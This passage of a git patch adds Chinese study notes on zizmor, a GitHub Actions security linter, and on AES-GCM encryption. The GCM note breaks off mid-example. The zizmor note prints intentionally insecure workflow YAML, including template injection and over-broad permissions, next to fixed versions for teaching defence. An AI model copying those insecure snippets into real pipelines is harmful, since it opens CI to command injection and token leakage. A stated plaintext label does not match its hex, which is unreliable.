不会真的去你家装修,而是对着图纸问:「这把万能钥匙是不是人人能拿?」「外来工人能不能改图纸?」「螺丝是不是没锁版本、明天就被人换掉?」 +- **机场安检 vs 黑盒测试**:跑一遍 CI 是「让旅客过安检门」;zizmor 是「在旅客进站前检查行李清单和登机牌规则有没有漏洞」。很多 **Pwn Request**、**模板注入**、**凭证落盘** 问题,在 PR 合并前就能被规则命中,而不必等攻击者真的 fork 你的仓库。 +- **和 [[gitleaks]] 的分工**:Gitleaks 找的是「秘密有没有写进代码」;zizmor 找的是「CI 流水线本身有没有设计缺陷,导致秘密或写权限被外人利用」。两者常一起出现在安全基线里。 + +最简单的本地体验: + +```bash +# 安装(任选其一) +brew install zizmor # macOS Homebrew +uvx zizmor --version # Python 生态,无需全局安装 +cargo install zizmor # 从 crates.io + +# 审计当前仓库(默认离线也能跑) +zizmor . + +# 只看 workflows 目录 +zizmor .github/workflows/ +``` + +有 findings 时,终端会以类似 `cargo` 诊断的风格输出规则 ID、严重级别、文件位置与修复建议链接(`https://docs.zizmor.sh/audits//`)。 + +## 为什么重要 + +不理解 zizmor 这类工具,下面几类事故很难在代码审查阶段拦住: + +- **Pwn Request**:fork 来的 PR 触发 `pull_request_target`,在**目标仓库权限**下执行攻击者可控输入——经典文章 [*Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests*](https://securitylab.github.com/resources/research-tutorials/github-actions-preventing-pwn-requests/) 描述的正是这类模式;zizmor 的 `dangerous-triggers` 等规则专门盯这类触发器。 +- **模板注入(Template Injection)**:`${{ github.event.issue.title }}` 直接拼进 `run: |` 的 shell 脚本,会在执行前被展开成任意 shell 代码;zizmor 的 `template-injection` 规则会推动你改成 `env:` + `$VAR` 模式。 +- **凭证持久化(ArtiPACKED)**:`actions/checkout` 默认把 `GITHUB_TOKEN` 写进 `.git/config` 或 runner 临时目录,后续 `upload-artifact` 可能把 token 打进公开产物;`artipacked` 规则建议 `persist-credentials: false`。 +- **供应链固定**:`uses: actions/checkout@v4` 这种**可漂移的 tag** 在 zizmor v1.20+ 默认策略下会被 `unpinned-uses` 标记,推荐改成 **commit SHA 钉死**(`@de0fac2e... # v6`)。 + +维护方文档强调:zizmor 是**纯静态**工具——看不到运行时 `matrix` 的真实值,因此对 `${{ matrix.foo }}` 可能偏保守(宁可误报也不漏报)。理解这一点,才能正确配置 `persona`、忽略注释和 `zizmor.yml`。 + +## 核心要点 + +zizmor 的工作流可以拆成 **五层**: + +### 1. 输入收集(Collection) + +扫描前会先收集待审计对象: + +| 输入形式 | 示例 | 说明 | +|----------|------|------| +| 本地目录 | `zizmor .` | 递归找 workflows、actions | +| 单个文件 | `zizmor path/to/ci.yml` | 从文件所在目录向上发现配置 | +| 远程仓库 | `zizmor owner/repo` | 需 `GH_TOKEN` / `--gh-token` 调 GitHub API | + +`--collect` 可限定种类:`workflows`、`actions`、`dependabot` 等。`--strict-collection` 则在 YAML 语法/ schema 错误时直接失败,而不是警告继续。 + +### 2. 运行模式(Offline / Online) + +- **离线(默认)**:不设置 token 时,只分析本地已 checkout 的文件;多数规则(`template-injection`、`unpinned-uses`、`dangerous-triggers` 等)**离线可用**。 +- **在线**:提供 `GH_TOKEN` 后可拉远程仓库、查 action 是否归档、提高 `typosquat-uses` 等规则的置信度。 +- **`--offline`**:即使设置了 token 也强制纯离线。 + +对日常开发:**本地 pre-commit / PR 前跑 `zizmor .` 通常不需要 token**。 + +### 3. Persona(审计人格) + +| Persona | 行为 | +|---------|------| +| `regular`(默认) | 高信噪比,只报较有把握的 issue | +| `pedantic` | 更严格,例如 `template-injection` 会标记所有代码上下文里的 `${{ }}` | +| `auditor` | 最激进,适合安全审计或基线建立 | + +CLI:`-p` / `--pedantic`,或 `--persona auditor`。还可配合 `--min-severity`、`--min-confidence` 过滤输出。 + +### 4. 审计规则(Audits) + +官方文档列出 **三十余条** 规则,覆盖 workflow、composite action、Dependabot 配置。常见几类: + +| 规则 ID | 关注点 | +|---------|--------| +| `dangerous-triggers` | `pull_request_target`、`workflow_run` 等高危触发器 | +| `template-injection` | `${{ }}` 进入 shell 的注入面 | +| `artipacked` | checkout 后 token 落盘、artifact 泄露 | +| `excessive-permissions` | workflow/job 权限过大或未最小化 | +| `unpinned-uses` | action 引用未钉 SHA | +| `unpinned-images` | 容器镜像使用可变 tag | +| `cache-poisoning` | 发布流程误用可被投毒的 build cache | +| `bot-conditions` | 用 `github.actor` 冒充 Dependabot 等 | +| `typosquat-uses` | `action/checkout` 类拼写劫持 | +| `adhoc-packages` | `run: npm install foo` 无 lockfile | +| `dependabot-cooldown` | Dependabot 未配置更新冷却期 | + +每条规则文档页有 **Before / After** 示例、是否支持 `--fix`、是否可写 `zizmor.yml` 覆盖策略。 + +### 5. 输出与集成 + +| `--format` | 用途 | +|------------|------| +| `plain`(默认) | 终端人类可读 | +| `github` | GitHub Actions 注解,无需 Advanced Security | +| `sarif` | 上传 Code Scanning / Advanced Security | +| `json` / `json-v1` | 自定义流水线消费 | + +**实验性自动修复**:`zizmor --fix`(及 `safe` / `unsafe-only` / `all` 模式)可自动改部分 finding(如 `template-injection`、`artipacked`)。 + +**配置**:可选 `zizmor.yml` / `.github/zizmor.yml`,支持按规则 `disable`、为 `unpinned-uses` 配置 `policies`(例如允许 `actions/*` 使用 tag)。行内可用 `# zizmor: ignore[rule-id]` 忽略单条。 + +### 6. 静态分析的边界(必读) + +文档明确两点限制: + +1. **不执行代码**——无法知道 `matrix.os` 运行时到底是什么,只能对表达式做保守分析。 +2. **只审计定义文件**——`run: ./scripts/build.sh` 里的 shell 脚本内容**不会**被深入分析,除非脚本直接写在 workflow YAML 里。 + +因此:zizmor 是 **CI 设计审查**,不能替代对业务脚本、第三方 action 内部逻辑的手工审计或动态测试。 + +## 代码示例 + +### 示例 1:修复模板注入(`template-injection`) + +**问题写法**:把用户可控的 issue 标题直接插进 shell,攻击者可构造标题注入额外命令。 + +```yaml +# ❌ zizmor 会报 template-injection +- name: Check title + run: | + title="${{ github.event.issue.title }}" + if [[ ! $title =~ ^.*:\ .*$ ]]; then + echo "Bad issue title" + exit 1 + fi +``` + +**推荐写法**:模板展开放进 `env:`,shell 里用普通变量(注意不要用 `${{ env.ISSUE_TITLE }}`,那仍是模板展开): + +```yaml +# ✅ 由 shell 做变量展开,受引号保护 +- name: Check title + run: | + title="${ISSUE_TITLE}" + if [[ ! $title =~ ^.*:\ .*$ ]]; then + echo "Bad issue title" + exit 1 + fi + env: + ISSUE_TITLE: ${{ github.event.issue.title }} +``` + +Windows runner 上若用 PowerShell,变量语法不同;跨平台时可设 `shell: bash` 统一行为。 + +### 示例 2:最小权限 + 钉死 action + 不持久化凭证 + +下面是一段「安全基线」风格的 fragment,同时回应 `excessive-permissions`、`unpinned-uses`、`artipacked` 多条规则: + +```yaml +name: CI + +on: + pull_request: + push: + branches: [main] + +# 工作流级默认零权限,各 job 按需开启 +permissions: {} + +jobs: + test: + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + with: + persist-credentials: false + + - name: Run tests + run: npm ci && npm test +``` + +对比**常见隐患写法**: + +```yaml +# ❌ 工作流级宽泛权限;checkout 未关 persist-credentials;uses 仅 tag +permissions: + contents: write + pull-requests: write + +steps: + - uses: actions/checkout@v4 + - run: echo "${{ github.event.pull_request.title }}" +``` + +第一处触发 `excessive-permissions`;第二处 `artipacked`;第三处同时有 `unpinned-uses` 与 `template-injection` 风险。 + +### 示例 3:在 GitHub Actions 里集成(SARIF) + +公开仓库或已购买 Advanced Security 的私有仓库,可用官方 [zizmor-action](https://github.com/zizmorcore/zizmor-action) 或手写步骤: + +```yaml +name: GitHub Actions Security Analysis + +on: + pull_request: + push: + branches: [main] + +permissions: + security-events: write + contents: read + actions: read + +jobs: + zizmor: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + with: + persist-credentials: false + + - name: Run zizmor + run: uvx zizmor --format=sarif . > results.sarif + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: Upload SARIF + uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4 + with: + sarif_file: results.sarif + category: zizmor +``` + +没有 Advanced Security 时,可改用 `--format=github` 在 PR 里显示注解,无需 `security-events: write`。 + +### 示例 4:项目级配置 `zizmor.yml` + +在 monorepo 或需要允许部分 namespace 用 tag 时: + +```yaml +# .github/zizmor.yml +rules: + unpinned-uses: + config: + policies: + # 官方 actions 组织允许 ref-pin(@v4),第三方仍要求 SHA + actions/*: ref-pin + # 自家内部 action 允许 tag + my-org/*: ref-pin +``` + +配合 CLI:`zizmor --persona regular .`,对暂时接受的 finding 用 `# zizmor: ignore[unpinned-uses]` 并写明理由,避免静默烂掉。 + +## 与相近工具的关系 + +| 工具 | 扫描对象 | 与 zizmor 的关系 | +|------|----------|------------------| +| [[gitleaks]] | 仓库中的密钥字符串 | 互补:秘密是否**进库** | +| GitHub CodeQL | 多语言源码 | 互补:应用代码漏洞 | +| actionlint | workflow 语法/类型 | 可并用:actionlint 偏语法,zizmor 偏**安全语义** | +| Dependabot / Renovate | 依赖版本更新 | zizmor 还能审 `dependabot.yml` 的 cooldown 等策略 | + +推荐流水线顺序:**actionlint(快)→ zizmor(安全)→ 测试 job**。本地可用 [pre-commit](https://docs.zizmor.sh/integrations/) hook 在提交前拦截。 + +## 学习路径建议 + +1. **Quickstart**:对自家仓库跑 `zizmor .`,先不加 `-p`,熟悉输出格式。 +2. **读规则目录**:浏览 [Audit Rules](https://docs.zizmor.sh/audits/),重点 `dangerous-triggers`、`template-injection`、`artipacked`、`unpinned-uses`。 +3. **修一轮**:对可自动修复项试 `zizmor --fix=safe .`,其余手工改并写 `zizmor.yml` / ignore 注释。 +4. **接入 CI**:从 `--format=github` 注解模式起步,有条件再上 SARIF + Security 面板。 +5. **建立基线**:用 `--persona auditor` 扫一遍,把真实误报记入配置,而不是永久 `--no-ignores`。 + +## 常见坑 + +- **以为离线扫远程 fork PR 足够**:离线只分析**当前 checkout 的 YAML**;要扫 PR 里改的 workflow,必须在 CI 里对 PR 分支 checkout 后再跑 zizmor。 +- **误用 `${{ env.X }}` 修注入**:在 `run:` 里仍属模板展开,应改用 `$X` / `${X}`。 +- **只钉第三方 action**:v1.20+ 默认要求**全部** `uses` SHA 钉死;需要放宽时在 `zizmor.yml` 写 policy。 +- **忽略 `pull_request_target`**:「我们不 checkout PR 代码就安全」是错的;参数注入、环境变量、`workflow_run` 等仍有攻击面——以官方 dangerous-triggers 文档为准。 +- **把 zizmor 当万能**:composite action 引用的外部脚本、运行时下载的 action 内容,静态阶段都看不到。 + +## 资源 + +- 官网与文档:[zizmor.sh](https://zizmor.sh/) · [docs.zizmor.sh](https://docs.zizmor.sh/) +- 源码:[zizmorcore/zizmor](https://github.com/zizmorcore/zizmor)(MIT,Rust) +- GitHub Action 封装:[zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action) +- 安装方式汇总:[Installation](https://docs.zizmor.sh/installation/)(Homebrew、uvx、pip、cargo、GitHub Releases 等) +- 背景阅读:GitHub Security Lab 的 Actions 安全系列;ArtiPACKED 论文讨论 artifact 与 git 凭证竞态 + +## 小结 + +zizmor 把 GitHub Actions 领域里反复出现的 CI/CD 设计错误,沉淀成可离线运行、可接 SARIF 的规则集。对零基础使用者:先把它当成 **「workflow YAML 的安全 linter」**,从 `zizmor .` 开始,理解 **静态边界**,再逐步收紧 **权限、钉版本、模板与触发器** 四条主线,就能在不动 runner 的前提下,显著降低 Pwn Request 与供应链漂移风险。 From e74cac0bec59b0a038c0b2e3711664b5e0a279ec Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 16:10:44 +0800 Subject: [PATCH 10/49] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=2071=20=E7=AF=87?= =?UTF-8?q?=E6=96=B0=E8=AE=BA=E6=96=87=E7=AC=94=E8=AE=B0=EF=BC=9Acursor-ag?= =?UTF-8?q?ent=20composer-2.5=20=E6=89=B9=E9=87=8F=E7=94=9F=E6=88=90?= =?UTF-8?q?=EF=BC=88=E6=89=B9=E6=AC=A1=20A=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Opus 4 --- src/content/docs/papers/aes-gcm-2003.md | 247 +++++++++++ src/content/docs/papers/afd-disagg-moe.md | 322 ++++++++++++++ .../papers/anticipatory-scheduler-2001.md | 332 ++++++++++++++ src/content/docs/papers/argon2-2015.md | 289 +++++++++++++ .../docs/papers/automerge-json-crdt-2017.md | 265 ++++++++++++ src/content/docs/papers/av2-video-spec.md | 389 +++++++++++++++++ src/content/docs/papers/backus-fp-1978.md | 257 +++++++++++ src/content/docs/papers/black-scholes-1973.md | 243 +++++++++++ .../docs/papers/blast-altschul-1990.md | 297 +++++++++++++ .../papers/brooks-no-silver-bullet-1986.md | 225 ++++++++++ src/content/docs/papers/ccopd-distillation.md | 368 ++++++++++++++++ .../papers/chaos-engineering-netflix-2016.md | 279 ++++++++++++ .../docs/papers/ckks-homomorphic-2017.md | 341 +++++++++++++++ src/content/docs/papers/coap-rfc7252.md | 274 ++++++++++++ .../docs/papers/codemirror-6-architecture.md | 320 ++++++++++++++ .../docs/papers/compose-future-theorems.md | 359 +++++++++++++++ .../docs/papers/compositional-incoherence.md | 319 ++++++++++++++ src/content/docs/papers/dap-spec.md | 315 ++++++++++++++ .../docs/papers/debug-adapter-protocol.md | 390 +++++++++++++++++ .../docs/papers/demystifying-data-org.md | 353 +++++++++++++++ .../docs/papers/diffusion-posterior-finite.md | 262 +++++++++++ src/content/docs/papers/dijkstra-goto-1968.md | 239 ++++++++++ src/content/docs/papers/distserve-2024.md | 347 +++++++++++++++ .../docs/papers/dora-state-of-devops-2023.md | 342 +++++++++++++++ .../docs/papers/dpdk-poll-mode-driver.md | 321 ++++++++++++++ src/content/docs/papers/dremel-decade-2020.md | 314 ++++++++++++++ src/content/docs/papers/ds-zero-pp-comm.md | 351 +++++++++++++++ .../papers/dwork-differential-privacy-2006.md | 256 +++++++++++ src/content/docs/papers/e-path-egraph.md | 328 ++++++++++++++ .../docs/papers/ebpf-linux-runtime-2024.md | 302 +++++++++++++ src/content/docs/papers/ed25519-2011.md | 248 +++++++++++ .../docs/papers/efficient-compile-2011.md | 320 ++++++++++++++ .../docs/papers/eg-walker-collab-text-2024.md | 296 +++++++++++++ .../papers/embassy-async-rust-embedded.md | 326 ++++++++++++++ .../docs/papers/entity-tracking-states.md | 336 +++++++++++++++ .../papers/epoch-based-reclamation-2007.md | 288 +++++++++++++ src/content/docs/papers/esp-idf-overview.md | 312 ++++++++++++++ .../docs/papers/expertflow-moe-offload.md | 408 ++++++++++++++++++ src/content/docs/papers/farm-2015.md | 287 ++++++++++++ .../docs/papers/firecracker-microvm-2020.md | 335 ++++++++++++++ src/content/docs/papers/flashattention-2.md | 303 +++++++++++++ .../docs/papers/flashattention-3-2024.md | 365 ++++++++++++++++ src/content/docs/papers/flashinfer-2024.md | 334 ++++++++++++++ src/content/docs/papers/hkdf-rfc5869.md | 283 ++++++++++++ src/content/docs/papers/hoare-csp-1978.md | 286 ++++++++++++ .../docs/papers/hoare-monitors-1974.md | 270 ++++++++++++ src/content/docs/papers/hullft-ttft.md | 340 +++++++++++++++ .../papers/incident-command-system-2022.md | 361 ++++++++++++++++ .../docs/papers/io-uring-axboe-2019.md | 288 +++++++++++++ .../docs/papers/jemalloc-evans-2006.md | 251 +++++++++++ .../docs/papers/k42-research-os-2006.md | 227 ++++++++++ .../docs/papers/kakoune-vim-philosophy.md | 243 +++++++++++ .../docs/papers/kelly-criterion-1956.md | 226 ++++++++++ .../docs/papers/knuth-literate-1984.md | 245 +++++++++++ .../docs/papers/l4-microkernel-1995.md | 232 ++++++++++ .../docs/papers/lacuna-program-holes.md | 322 ++++++++++++++ .../docs/papers/lamport-time-clocks-1978.md | 270 ++++++++++++ src/content/docs/papers/lampson-hints-1983.md | 272 ++++++++++++ .../papers/language-server-protocol-spec.md | 343 +++++++++++++++ .../docs/papers/liger-kernel-llm-training.md | 328 ++++++++++++++ .../docs/papers/liskov-abstraction-1974.md | 267 ++++++++++++ .../docs/papers/log4shell-cve-2021-44228.md | 256 +++++++++++ src/content/docs/papers/lomo-modality.md | 328 ++++++++++++++ src/content/docs/papers/loong-doc-mt.md | 374 ++++++++++++++++ .../docs/papers/lottery-scheduling-1994.md | 311 +++++++++++++ src/content/docs/papers/mach-rashid-1986.md | 301 +++++++++++++ .../docs/papers/matter-protocol-1-0.md | 295 +++++++++++++ src/content/docs/papers/medcase-fhir.md | 344 +++++++++++++++ .../docs/papers/megatron-core-moe-2026.md | 339 +++++++++++++++ .../docs/papers/meltdown-attack-2018.md | 266 ++++++++++++ src/content/docs/papers/mem-ft-lora.md | 310 +++++++++++++ 71 files changed, 21582 insertions(+) create mode 100644 src/content/docs/papers/aes-gcm-2003.md create mode 100644 src/content/docs/papers/afd-disagg-moe.md create mode 100644 src/content/docs/papers/anticipatory-scheduler-2001.md create mode 100644 src/content/docs/papers/argon2-2015.md create mode 100644 src/content/docs/papers/automerge-json-crdt-2017.md create mode 100644 src/content/docs/papers/av2-video-spec.md create mode 100644 src/content/docs/papers/backus-fp-1978.md create mode 100644 src/content/docs/papers/black-scholes-1973.md create mode 100644 src/content/docs/papers/blast-altschul-1990.md create mode 100644 src/content/docs/papers/brooks-no-silver-bullet-1986.md create mode 100644 src/content/docs/papers/ccopd-distillation.md create mode 100644 src/content/docs/papers/chaos-engineering-netflix-2016.md create mode 100644 src/content/docs/papers/ckks-homomorphic-2017.md create mode 100644 src/content/docs/papers/coap-rfc7252.md create mode 100644 src/content/docs/papers/codemirror-6-architecture.md create mode 100644 src/content/docs/papers/compose-future-theorems.md create mode 100644 src/content/docs/papers/compositional-incoherence.md create mode 100644 src/content/docs/papers/dap-spec.md create mode 100644 src/content/docs/papers/debug-adapter-protocol.md create mode 100644 src/content/docs/papers/demystifying-data-org.md create mode 100644 src/content/docs/papers/diffusion-posterior-finite.md create mode 100644 src/content/docs/papers/dijkstra-goto-1968.md create mode 100644 src/content/docs/papers/distserve-2024.md create mode 100644 src/content/docs/papers/dora-state-of-devops-2023.md create mode 100644 src/content/docs/papers/dpdk-poll-mode-driver.md create mode 100644 src/content/docs/papers/dremel-decade-2020.md create mode 100644 src/content/docs/papers/ds-zero-pp-comm.md create mode 100644 src/content/docs/papers/dwork-differential-privacy-2006.md create mode 100644 src/content/docs/papers/e-path-egraph.md create mode 100644 src/content/docs/papers/ebpf-linux-runtime-2024.md create mode 100644 src/content/docs/papers/ed25519-2011.md create mode 100644 src/content/docs/papers/efficient-compile-2011.md create mode 100644 src/content/docs/papers/eg-walker-collab-text-2024.md create mode 100644 src/content/docs/papers/embassy-async-rust-embedded.md create mode 100644 src/content/docs/papers/entity-tracking-states.md create mode 100644 src/content/docs/papers/epoch-based-reclamation-2007.md create mode 100644 src/content/docs/papers/esp-idf-overview.md create mode 100644 src/content/docs/papers/expertflow-moe-offload.md create mode 100644 src/content/docs/papers/farm-2015.md create mode 100644 src/content/docs/papers/firecracker-microvm-2020.md create mode 100644 src/content/docs/papers/flashattention-2.md create mode 100644 src/content/docs/papers/flashattention-3-2024.md create mode 100644 src/content/docs/papers/flashinfer-2024.md create mode 100644 src/content/docs/papers/hkdf-rfc5869.md create mode 100644 src/content/docs/papers/hoare-csp-1978.md create mode 100644 src/content/docs/papers/hoare-monitors-1974.md create mode 100644 src/content/docs/papers/hullft-ttft.md create mode 100644 src/content/docs/papers/incident-command-system-2022.md create mode 100644 src/content/docs/papers/io-uring-axboe-2019.md create mode 100644 src/content/docs/papers/jemalloc-evans-2006.md create mode 100644 src/content/docs/papers/k42-research-os-2006.md create mode 100644 src/content/docs/papers/kakoune-vim-philosophy.md create mode 100644 src/content/docs/papers/kelly-criterion-1956.md create mode 100644 src/content/docs/papers/knuth-literate-1984.md create mode 100644 src/content/docs/papers/l4-microkernel-1995.md create mode 100644 src/content/docs/papers/lacuna-program-holes.md create mode 100644 src/content/docs/papers/lamport-time-clocks-1978.md create mode 100644 src/content/docs/papers/lampson-hints-1983.md create mode 100644 src/content/docs/papers/language-server-protocol-spec.md create mode 100644 src/content/docs/papers/liger-kernel-llm-training.md create mode 100644 src/content/docs/papers/liskov-abstraction-1974.md create mode 100644 src/content/docs/papers/log4shell-cve-2021-44228.md create mode 100644 src/content/docs/papers/lomo-modality.md create mode 100644 src/content/docs/papers/loong-doc-mt.md create mode 100644 src/content/docs/papers/lottery-scheduling-1994.md create mode 100644 src/content/docs/papers/mach-rashid-1986.md create mode 100644 src/content/docs/papers/matter-protocol-1-0.md create mode 100644 src/content/docs/papers/medcase-fhir.md create mode 100644 src/content/docs/papers/megatron-core-moe-2026.md create mode 100644 src/content/docs/papers/meltdown-attack-2018.md create mode 100644 src/content/docs/papers/mem-ft-lora.md diff --git a/src/content/docs/papers/aes-gcm-2003.md b/src/content/docs/papers/aes-gcm-2003.md new file mode 100644 index 000000000..c94d55620 --- /dev/null +++ b/src/content/docs/papers/aes-gcm-2003.md @@ -0,0 +1,247 @@ +--- +title: AES-GCM — 一次加密,同时保证机密性与完整性 +来源: https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/proposed-modes/gcm/gcm-spec.pdf +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +provenance: pipeline-v3 +--- + +## 是什么 + +**Galois/Counter Mode(GCM)** 是一种**认证加密(Authenticated Encryption with Associated Data, AEAD)** 工作模式:对底层 128 位分组密码(几乎总是 AES)跑一遍,就能同时得到**密文**(别人看不懂)和**认证标签 Tag**(别人改不了)。规范由 David McGrew 与 John Viega 在 2004 年前后提出,NIST 在 **SP 800-38D**(2007)中标准化;你给的 PDF 链接正是提交 NIST 前的原始提案稿。 + +日常类比: + +> 你要寄一份**密封合同**给律师。 +> - **Counter 模式加密** = 把正文放进带一次性密码锁的保险箱,每页用不同密钥加密,外人打开只能看到乱码。 +> - **GHASH 认证** = 在信封外再贴一张**防伪封条**:封条上的校验码由「正文密文 + 信封上写的备注(AAD)」一起算出来。收件人拆信时先验封条——封条不对,整封信直接扔掉,**连解密都懒得做**。 +> 两样事在一次算法调用里完成,这就是 GCM 比「先 AES-CBC 加密再 HMAC」省事的地方。 + +GCM 的姊妹模式 **GMAC** 只做认证、不加密明文,相当于「只有封条、没有保险箱」。 + +## 为什么重要 + +不理解 GCM,现代安全协议里大量默认选项都会变成黑盒: + +- **TLS 1.3** 只保留 AEAD 套件,`TLS_AES_128_GCM_SHA256` 是事实上的默认之一(见 [[tls-1-3-rfc8446]]) +- **Signal / WhatsApp** 消息体用 AES-256-GCM 或 ChaCha20-Poly1305(见 [[signal-double-ratchet-2016]]) +- **IPsec ESP、IEEE 802.1AE、Noise 框架** 都把 GCM 列为标准或常用密码 +- **磁盘加密、对象存储客户端加密** 常用 AES-GCM 封装数据密钥 +- 与纯加密(如 AES-CTR)相比,GCM 能检测**主动篡改**;与「加密 + 独立 MAC」相比,GCM **可并行、可流水线**,硬件实现友好 + +## 核心概念 + +### 1. AEAD 的四个输入、两个输出 + +一次 GCM **认证加密**接受: + +| 输入 | 符号 | 含义 | +|------|------|------| +| 密钥 | `K` | 128/192/256 位 AES 密钥 | +| 初始化向量 | `IV`(常叫 **nonce**) | 每次调用必须唯一,推荐 **96 位(12 字节)** | +| 明文 | `P` | 要保密的数据 | +| 关联数据 | `A`(AAD) | **不加密**但参与认证——例如 TLS 记录头、JSON 元数据 | + +输出: + +| 输出 | 含义 | +|------|------| +| 密文 | `C`,与 `P` 等长 | +| 认证标签 | `T`,通常 **128 位(16 字节)**,可截短但不建议低于 96 位 | + +**认证解密**输入 `K, IV, C, A, T`:先验 Tag,失败则**必须**拒绝明文,不能返回「部分解密结果」。 + +### 2. 加密半边:Counter 模式(CTR) + +GCM 的机密性来自 **AES-CTR** 的变体: + +1. 由 `IV` 构造初始计数器块 `Y₀`(96 位 IV 时:`Y₀ = IV || 0³¹ || 1`) +2. 对第 `i` 块明文 `Pᵢ`,计数器 `Yᵢ = inc₃₂(Yᵢ₋₁)`(只递增**低 32 位**) +3. `Cᵢ = Pᵢ ⊕ E(K, Yᵢ)`,`E` 为 AES 单块加密 + +CTR 的好处:**各块独立**,加密与解密同一套逻辑,GPU/ASIC 可深度流水线——这也是 GCM 在高吞吐场景胜过的根本原因之一。 + +### 3. 认证半边:GHASH 与伽罗瓦域 GF(2¹²⁸) + +认证标签来自 **GHASH**——在二元伽罗瓦域 **GF(2¹²⁸)** 上的多项式求值: + +1. 计算 **哈希子密钥** `H = E(K, 0¹²⁸)`(用 AES 加密全零块) +2. 把 AAD、密文按规范**填充并串联**,再附加各自**比特长度**(128 位编码) +3. 对串联结果做 GHASH:本质是一串 **「乘 H + 异或」** 的 Horner 式累加,乘法在 GF(2¹²⁸) 里做 +4. 最终 `T = GHASH(...) ⊕ E(K, Y₀)`(与 CTR 初始块再混合一次) + +直觉:GHASH 是**通用哈希(universal hash)** 的实例——在密钥 `H` 保密的前提下,攻击者几乎不可能为另一份 `(A', C')` 凑出相同标签。GF(2¹²⁸) 上的乘法可用 **PCLMULQDQ**(x86)、**PMULL**(ARM)单条指令加速,所以 GCM 在 CPU 上也能很快。 + +### 4. GMAC:只认证、不加密 + +若 `P` 为空、只想要 MAC,GCM 退化为 **GMAC**。用途:认证公开信道上的元数据,或作为更大协议里的消息认证码原语。 + +### 5. IV / Nonce:唯一性是绝对红线 + +| 规则 | 说明 | +|------|------| +| **同一 `K` 下 IV 绝不能重复** | 重复 nonce 会破坏 CTR 的机密性(两段明文 XOR 可泄露)**并**削弱 GHASH 认证强度 | +| 推荐 12 字节随机 IV | 随机 96 位 IV,在密钥生命周期内碰撞概率可忽略(规范上限:单密钥下加密数据量约 **2³² − 2** 个块,即约 64 GB 量级量级需注意) | +| 计数器 IV | 设备本地单调递增也可,但**绝不能**重启后从 0 复用同一密钥 | +| 勿用短随机 + 密钥复用 | 「8 字节随机」在大量连接时碰撞风险需自己建模 | + +规范与 RFC 5116 都强调:**nonce 重用对 GCM 是灾难性的**,不是「稍微变弱」而是可能完全崩溃。 + +### 6. AAD:不加密但要验 + +AAD 典型用法: + +- TLS:**序列号、版本、内容类型** 不进密文但进 MAC +- 存储:**对象元数据、版本号** 明文存放,篡改会被 Tag 拒绝 +- API:**JWT header** 若走 AEAD,常把 alg/kid 放 AAD + +攻击者能看见 AAD,但改一个字节 Tag 就对不上。 + +## 数据流(一图胜千言) + +```text + ┌─────────────────────────────────────┐ + K ───────────────►│ AES │ + │ E(K,0) → H (GHASH 子密钥) │ + │ E(K,Yᵢ) → keystream (CTR 加密) │ + └─────────────────────────────────────┘ + │ + IV ──► Y₀ ──► inc₃₂ ──► Y₁, Y₂, … + │ + P ──► P₁,P₂,… ──XOR──► C₁,C₂,… ═══ C (密文) + │ + A, C (填充+长度) ──► GHASH_H ──► XOR E(K,Y₀) ──► T (Tag) +``` + +解密路径:**先**用同样步骤重算 Tag,与收到的 `T` 做**常量时间比较**;相等再 XOR 解密出 `P`。 + +## 代码示例 + +### 示例 1:Python `cryptography` — 加密、篡改检测、AAD + +```python +from cryptography.hazmat.primitives.ciphers.aead import AESGCM +import os + +key = AESGCM.generate_key(bit_length=128) # 16 字节 +aesgcm = AESGCM(key) +nonce = os.urandom(12) # GCM 推荐 96 位 IV + +plaintext = b"contract clause 7.3: payment due Friday" +aad = b'{"doc_id":"2026-0412","version":3}' # 明文元数据,但受认证保护 + +# 认证加密:返回 密文 || 16字节Tag(库内部分离存储) +ct = aesgcm.encrypt(nonce, plaintext, aad) + +# 正常解密 +pt = aesgcm.decrypt(nonce, ct, aad) +assert pt == plaintext + +# 模拟攻击:篡改密文最后一个字节 +tampered = bytearray(ct) +tampered[-1] ^= 0x01 +try: + aesgcm.decrypt(nonce, bytes(tampered), aad) +except Exception as e: + print("拒绝篡改:", type(e).__name__) # InvalidTag +``` + +要点:`encrypt` / `decrypt` 的 `associated_data` 在两端必须**完全一致**;`decrypt` 验 Tag 失败应抛异常,**不要**吞掉异常后返回垃圾明文。 + +### 示例 2:OpenSSL 命令行 — 与 NIST 测试向量同一套语义 + +```bash +# 128 位密钥、12 字节 IV、16 字节 Tag(OpenSSL 默认 tag 长度) +KEY=00000000000000000000000000000000 +IV=000000000000000000000000 +PT=6b6174206d61747573696b61 # "kat matu sika" 的十六进制示例 + +# 加密(-aes-128-gcm;输出含 tag,需自行记录或从 -tag 取) +echo -n "$PT" | xxd -r -p | openssl enc -aes-128-gcm -K "$KEY" -iv "$IV" -nosalt 2>/dev/null | xxd -p + +# 生产环境请用库 API 并校验返回值;CLI 适合对照 NIST SP 800-38D 附录测试向量 +``` + +对照 NIST 官方 walkthrough 见 [AES-GCM Examples (NIST)](https://csrc.nist.gov/csrc/media/projects/cryptographic-standards-and-guidelines/documents/examples/aes_gcm.pdf)。 + +### 示例 3:Node.js `crypto` — TLS 风格 record + +```javascript +import { randomBytes, createCipheriv, createDecipheriv } from 'node:crypto'; + +const key = randomBytes(32); // AES-256-GCM +const iv = randomBytes(12); +const aad = Buffer.from('TLSInnerPlaintext-type-23'); + +const cipher = createCipheriv('aes-256-gcm', key, iv); +cipher.setAAD(aad); +const enc = Buffer.concat([cipher.update('hello'), cipher.final()]); +const tag = cipher.getAuthTag(); // 默认 16 字节 + +const decipher = createDecipheriv('aes-256-gcm', key, iv); +decipher.setAAD(aad); +decipher.setAuthTag(tag); +const dec = Buffer.concat([decipher.update(enc), 